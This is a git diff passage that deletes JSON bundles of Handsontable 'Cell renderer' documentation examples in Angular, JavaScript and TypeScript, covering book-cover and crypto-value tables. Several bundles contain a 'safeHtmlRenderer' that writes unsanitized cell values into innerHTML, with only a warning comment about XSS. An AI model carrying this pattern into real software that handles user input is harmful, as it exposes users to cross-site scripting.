    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst coverRenderer = (_instance: Handsontable, td: HTMLTableCellElement, _row: number, _col: number, _prop: string | number, value: string) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\n\n@Component({\n selector: 'app-example4',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example5.ts.json deleted file mode 100644 index 4fa9eb06..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nfunction safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n return td;\n}\n\nfunction coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n}\n\n@Component({\n selector: 'app-example5',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n }\n ];\n\n hotSettings!: GridSettings;\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example5.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example7.ts.json deleted file mode 100644 index ef448166..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Format symbols outside the Intl standard · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example7-cell-renderer',\n template: `\n
    \n \n
    \n `,\n})\nexport class AppComponent {\n readonly data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n ];\n\n readonly gridSettings: GridSettings = {\n data: this.data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value: number) {\n return `₿${value.toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value: number) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n { provide: HOT_GLOBAL_CONFIG, useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example7.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example7","exampleTitle":"Format symbols outside the Intl standard","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.js.json deleted file mode 100644 index a5dd3977..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.ts.json deleted file mode 100644 index 1fc2be6a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Book {\n title: string;\n description: string;\n comments: string;\n cover: string;\n}\n\nconst data: Book[] = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.js.json deleted file mode 100644 index 9e40aab9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n];\nconst container = document.querySelector('#example6');\nnew Handsontable(container, {\n data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value) {\n return `₿${value.toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example6.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.ts.json deleted file mode 100644 index a075ab5c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Holding {\n asset: string;\n btcValue: number;\n portfolioShare: number;\n}\n\nconst data: Holding[] = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n];\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value) {\n return `₿${value.toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example6.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example4.tsx.json 